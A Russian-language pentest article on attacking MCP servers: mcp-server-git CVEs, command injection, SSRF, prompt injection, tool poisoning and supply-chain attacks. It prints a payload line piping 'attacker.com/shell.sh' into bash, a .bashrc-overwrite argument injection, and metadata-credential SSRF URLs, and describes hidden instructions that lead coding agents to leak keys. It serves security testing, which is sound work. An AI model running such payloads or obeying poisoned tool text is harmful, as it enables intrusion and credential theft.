За последние полгода на трёх внутренних пентестах подряд мы натыкались на MCP-серверы на хостах разработчиков: Cursor с подключённым aws-mcp-server, Claude Desktop с filesystem-сервером, кастомный MCP-прокси к внутреннему API. Ни один не был в скоупе. Ни один не проходил security review. При этом каждый имел прямой доступ к локальной файловой системе, переменным окружения и сетевым ресурсам. По данным Equixly, 43% протестированных MCP-серверов содержали command injection, 30% - SSRF, 22% - path traversal. Это не абстрактная «поверхность атаки» - это конкретные точки входа, которые разработчики ставят добровольно, а пентестеры пока не умеют системно находить и эксплуатировать.
Архитектура MCP с точки зрения атакующего
MCP работает по клиент-серверной модели поверх JSON-RPC. Хост (Claude Desktop, Cursor, Windsurf) содержит MCP-клиент, который общается с одним или несколькими MCP-серверами. Транспорт - либо stdio (сервер запускается как дочерний процесс хоста), либо Streamable HTTP (замена HTTP+SSE с марта 2025). Сервер отдаёт три типа capabilities: Tools (функции, вызываемые LLM), Resources (данные для контекста модели), Prompts (шаблоны запросов).Что критично при оценке attack surface:
- Аутентификация опциональна. Спецификация предлагает OAuth 2.0, но на практике большинство серверов запускаются вообще без авторизации. В спецификации протокола написано: «реализации ДОЛЖНЫ тщательно проверять все входные и выходные данные». По документам - должны. На практике проверки полностью переложены на разработчика, а подтвердить их наличие извне нельзя.
- Session ID в HTTP-заголовке Mcp-Session-Id - перехват сессии возможен при доступе к трафику.
- Валидация tool-параметров отсутствует на уровне протокола. Каждый разработчик реализует (или не реализует) её самостоятельно.
- MCP-сервер можно вызвать напрямую - без LLM. Кто добрался до эндпоинта, шлёт JSON-RPC-запросы к tools без «плана» и «подтверждения», которые показывает LLM-клиент. По данным Equixly, эту расширенную attack surface разработчики обычно не учитывают.
Место атак на MCP-серверы в kill chain
MCP-серверы встраиваются в несколько этапов цепочки атаки:Initial Access (T1190 - Exploit Public-Facing Application). Удалённый MCP-сервер на Streamable HTTP без аутентификации - прямой initial access. Если сервер слушает на 0.0.0.0 или доступен через reverse proxy, атакующий отправляет JSON-RPC POST-запрос напрямую.
Execution (T1059 - Command and Scripting Interpreter). Большинство MCP-серверов под капотом дёргают shell-команды или интерпретаторы Python/Node.js. Command injection через tool parameters - прямой путь к выполнению произвольного кода.
Credential Access (T1552 - Unsecured Credentials). MCP-серверы часто имеют доступ к .env-файлам, SSH-ключам, API-токенам - через файловую систему или переменные окружения процесса. PoC от Kaspersky GERT (описан в разделе про supply chain) продемонстрировал сбор учётных данных через tool-вызовы.
Collection (T1005 - Data from Local System). Tool-вызовы с path traversal позволяют читать произвольные файлы. На машине разработчика это исходники, конфиги CI/CD, приватные ключи.
Command and Control (T1071.001 - Web Protocols). Вредоносный MCP-сервер использует HTTP POST для эксфильтрации данных, маскируясь под легитимный API-трафик.
Где это работает: перечисленные TTPs актуальны для внутреннего пентеста и red team - при доступе к сегменту разработчиков. На внешнем периметре MCP-серверы встречаются редко, но Streamable HTTP транспорт постепенно меняет картину. Grey box сценарий (есть доступ к сети разработки, нет учётных данных на конкретных хостах) - наиболее реалистичный контекст для атак на MCP.
Три CVE в mcp-server-git: path traversal и argument injection
В официальном MCP-сервере для Git (mcp-server-git, проект lfprojects/Model Context Protocol Servers) нашли три уязвимости. Каждая - CVSS 6.3–6.5 (MEDIUM) по вектору CVSS 4.0, но в цепочке с prompt injection импакт кратно возрастает.CVE-2025-68145: обход ограничения репозитория (CWE-22)
CVSS 6.4 (MEDIUM). Вектор:AV:N/AC:L/AT:N/PR:N/UI:P. При запуске mcp-server-git с флагом --repository (ограничивает операции конкретным путём) сервер не проверял, что параметр repo_path в tool-вызовах находится внутри заданного пути. Результат - операции с любыми репозиториями, доступными процессу сервера. Компонент UIИсправлено в версии 2025.12.17 - добавлена валидация с разрешением symlinks и проверкой вложенности.
CVE-2025-68143: неограниченный git_init (CWE-22)
CVSS 6.5 (MEDIUM). Вектор:AV:N/AC:L/AT:N/PR:N/UI:P. Инструмент git_init принимал произвольные пути файловой системы и создавал Git-репозитории без валидации. В отличие от других tools, требовавших существующий репозиторий, git_init превращал любую директорию в git-репозиторий - открывая её для последующих git-операций: чтение файлов через git show, перезапись через git checkout.Решение радикальное: инструмент
git_init полностью удалён из сервера в версии 2025.9.25. Просто выпилили - и правильно.CVE-2025-68144: argument injection в git_diff и git_checkout (CWE-88)
CVSS 6.3 (MEDIUM). Функцииgit_diff и git_checkout передавали пользовательские аргументы напрямую в CLI-команды git без санитизации. Значения вида --output=/path/to/file для git_diff интерпретировались как опции командной строки, а не как git-ссылки - перезапись произвольных файлов.
Bash:
# CVE-2025-68144: argument injection в git_diff
# Tool call с вредоносным параметром:
# tool: git_diff, args: {"ref": "--output=/home/user/.bashrc"}
# Сервер выполняет: git diff --output=/home/user/.bashrc
# Результат: .bashrc перезаписан выводом diff → persistence
-, отклоняются; добавлена проверка через rev_parse - валидация, что аргумент является корректной git-ссылкой.Цепочка из трёх CVE: CVE-2025-68143 (создаём git-репозиторий в произвольной директории) → CVE-2025-68145 (обходим ограничение --repository) → CVE-2025-68144 (перезаписываем файлы через argument injection). Каждая уязвимость сама по себе MEDIUM. Вместе - полноценный RCE через модификацию конфигурационных файлов. Классический случай, когда три «шестёрки» по CVSS складываются в девятку.
Command Injection → RCE через tool-вызовы MCP
Паттерн command injection в MCP-серверах однообразен до скуки: tool принимает строковый параметр, передаёт его в shell без санитизации. По данным Snyk Labs, в aws-mcp-server (MCP-сервер для выполнения команд AWS CLI) функцияexecute_command проверяла только то, что команда начинается с aws и не обращается к определённым сервисам. Обход: aws -h;whoami - после флага -h shell интерпретирует ;whoami как отдельную команду.
Python:
# Типичный уязвимый паттерн в MCP-серверах
# (адаптировано из исследований Equixly и Snyk Labs)
@server.tool()
def execute_command(command: str) -> str:
if not command.startswith("aws"):
return "Only AWS commands allowed"
# shell=True → command injection
result = subprocess.run(command, shell=True, capture_output=True)
return result.stdout.decode()
# Payload: "aws s3 ls;curl attacker.com/shell.sh|bash"
Где работает, а где нет:
| Условие | Работает | Не работает |
|---|---|---|
| MCP-сервер на Streamable HTTP без auth | Прямой вызов через curl/Burp | - |
| MCP-сервер на stdio | - | Только через LLM-клиент или доступ к хосту |
os.system() / shell=True / child_process.exec() | Command injection через ;,
Код:
&& | - |
subprocess.run(shell=False) с массивом аргументов | - | Shell-метасимволы не интерпретируются |
| EDR с process tree analysis (CrowdStrike Falcon, SentinelOne, Elastic Endpoint 8.x+) | - | Детектирует нетипичный child-process от IDE |
| MCP-сервер штатно выполняет shell-команды | Легитимный и вредоносный вызов неразличимы по process tree | - |
SSRF уязвимости API: MCP как прокси во внутреннюю сеть
30% MCP-серверов в исследовании Equixly содержали SSRF - сервер принимает URL через tool call и выполняет запрос без валидации. Это соответствует OWASP A10:2021 (Server-Side Request Forgery).Типичный сценарий: MCP-сервер для «анализа веб-страниц», «работы с API» или «загрузки ресурсов» принимает URL в tool-параметре. Без проверки атакующий направляет запрос на внутренние ресурсы:
http://169.254.169.254/latest/meta-data/iam/security-credentials/- IMDS AWS, получение IAM-ключей (T1552)http://metadata.google.internal/computeMetadata/v1/- GCP metadata endpointhttp://localhost:6379/INFO- Redis на localhostfile:///etc/passwd- чтение локальных файлов, если HTTP-клиент поддерживает file:// схему
Ограничения: на AWS с IMDSv2 (token-based) прямой SSRF к metadata endpoint требует предварительный PUT-запрос для получения токена. Многие SSRF через MCP ограничены GET-запросами - на IMDSv1 это не проблема, но v2 усложняет эксплуатацию. Внутренние сервисы за mTLS недоступны, если процесс MCP-сервера не имеет клиентского сертификата.
Prompt injection MCP: усилитель цепочки эксплуатации
Prompt injection (LLM01:2025 по OWASP GenAI Security Top 10) - не самостоятельная уязвимость MCP-сервера, а усилитель. Превращает локальную уязвимость в удалённо эксплуатируемую без прямого доступа к серверу.Механизм по результатам исследования Snyk Labs: атакующий контролирует ресурс (файл в репозитории, веб-страницу, документ). Ресурс содержит скрытую инструкцию для LLM - например, base64-encoded payload в комментарии Python-файла. Разработчик открывает файл в Cursor через оператор
@, LLM декодирует инструкцию и вызывает tool с вредоносными параметрами. Пользователь видит безобидный запрос вроде «list S3 buckets» и одобряет. Shell выполняет payload, спрятанный после легитимной команды.Исследователи из Lakera показали вариант пострашнее - zero-click RCE через Google Docs MCP: атакующий через API расшаривает документ с injection-payload (получатель не уведомляется), Cursor подтягивает документ через MCP-tool при запросе пользователя, а вложенный Python-скрипт выполняется автоматически, потому что Python добавлен в allow-list Cursor. Consent fatigue делает своё дело: разработчики добавляют интерпретаторы в allow-list, чтобы не нажимать «Разрешить» сотни раз в день. Удобство побеждает безопасность - история стара как мир.
Исследование MCPLib (arxiv, 31 классифицированный тип атаки) выявило ключевой паттерн: MCP-агенты чрезмерно полагаются на текстовые описания tools при принятии решений. Вредоносный tool с правильно составленным описанием выбирается моделью в приоритете перед легитимным. Исследователи назвали это «blind obedience» - слепое послушание, связанное со свойством sycophancy LLM.
Ещё один вывод MCPLib: общий контекст MCP (shared context) не изолирован между tools. Атакующий, контролирующий один tool, может через контекст повлиять на поведение других - «infection attacks», когда уязвимость одного инструмента реплицируется в новые через context learning. Один заражённый tool - и весь MCP-сервер работает на атакующего.
Tool poisoning и supply chain: эксплуатация доверия к MCP
Tool poisoning соотносится с OWASP A08:2021 (Software and Data Integrity Failures) и A06:2021 (Vulnerable and Outdated Components).Подмена описания tool. Видимое описание - безобидное (
add numbers), скрытый текст содержит инструкцию для LLM: прочитать SSH-ключи, передать содержимое .env-файла. Модель исполняет обе части, пользователь видит только первую.Tool shadowing. В среде с несколькими MCP-серверами вредоносный сервер переопределяет tool, уже загруженный из легитимного. Клиент не уведомляет пользователя о подмене определения - новое описание копирует оригинал, но добавляет перенаправление данных атакующему.
Rug pull. MCP-сервер сначала работает легитимно, набирает доверие, затем получает обновление с бэкдором. При автообновлении в клиенте бэкдор активируется автоматически. Классическая история про лягушку в кипятке.
Supply chain через PyPI. PoC от Kaspersky GERT показал полную цепочку: вредоносный MCP-сервер публикуется в PyPI как инструмент для «анализа проектов», разработчик устанавливает через
pip install и регистрирует в IDE. При первом вызове tool сервер собирает .env-файлы, SSH-ключи, переменные окружения и отправляет POST-запросом на контролируемый эндпоинт. Эксфильтрация маскировалась заголовками User-Agent: DevTools-Assistant/1.0.2 и Accept: application/vnd.github.v3+json - имитация трафика GitHub API. Обнаружен PoC был сетевым датчиком, зафиксировавшим HTTP POST к подозрительному домену. Без этого датчика - ушёл бы в тишину.Когда и как атаковать MCP-серверы на пентесте
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
По данным Equixly, при уведомлении разработчиков MCP-серверов об уязвимостях 45% заявили, что риски «теоретические» или «допустимые», 25% не ответили вообще. Только 30% выпустили исправления. Красноречивый показатель зрелости - точнее, её отсутствия.
Три CVE в официальном mcp-server-git от Anthropic - path traversal и argument injection с CVSS 6.3–6.5 - на первый взгляд выглядят как средняя по больнице. Но сложите их в цепочку с prompt injection, добавьте consent fatigue разработчика и allow-list в IDE - средняя уязвимость превращается в zero-click RCE. Проблема MCP не в отдельных багах. Протокол проектировался для функциональности, безопасность добавляется задним числом: аутентификация опциональна, валидация на разработчике, контроль целостности сообщений отсутствует. Напоминает ранние REST API образца 2010 года - только с прямым доступом к файловой системе и shell хоста.
По моей оценке, в ближайший год MCP-серверы станут стандартной позицией в чеклисте внутреннего пентеста - как Jenkins и GitLab CI сейчас. Кто научится системно находить их на этапе recon и встраивать эксплуатацию MCP уязвимостей в цепочку от initial access до exfiltration, получит конкретное преимущество на проектах, где разработчики активно используют AI-ассистенты. А таких проектов с каждым кварталом всё больше. Попробуйте на ближайшем внутреннем пентесте добавить в recon поиск
mcp-server-* процессов и .cursor/mcp.json - готов поспорить, что найдёте минимум один незащищённый сервер. На WAPT эту связку - от обнаружения MCP до эксплуатации цепочки - разбирают в модулях по атакам на инфраструктуру разработки.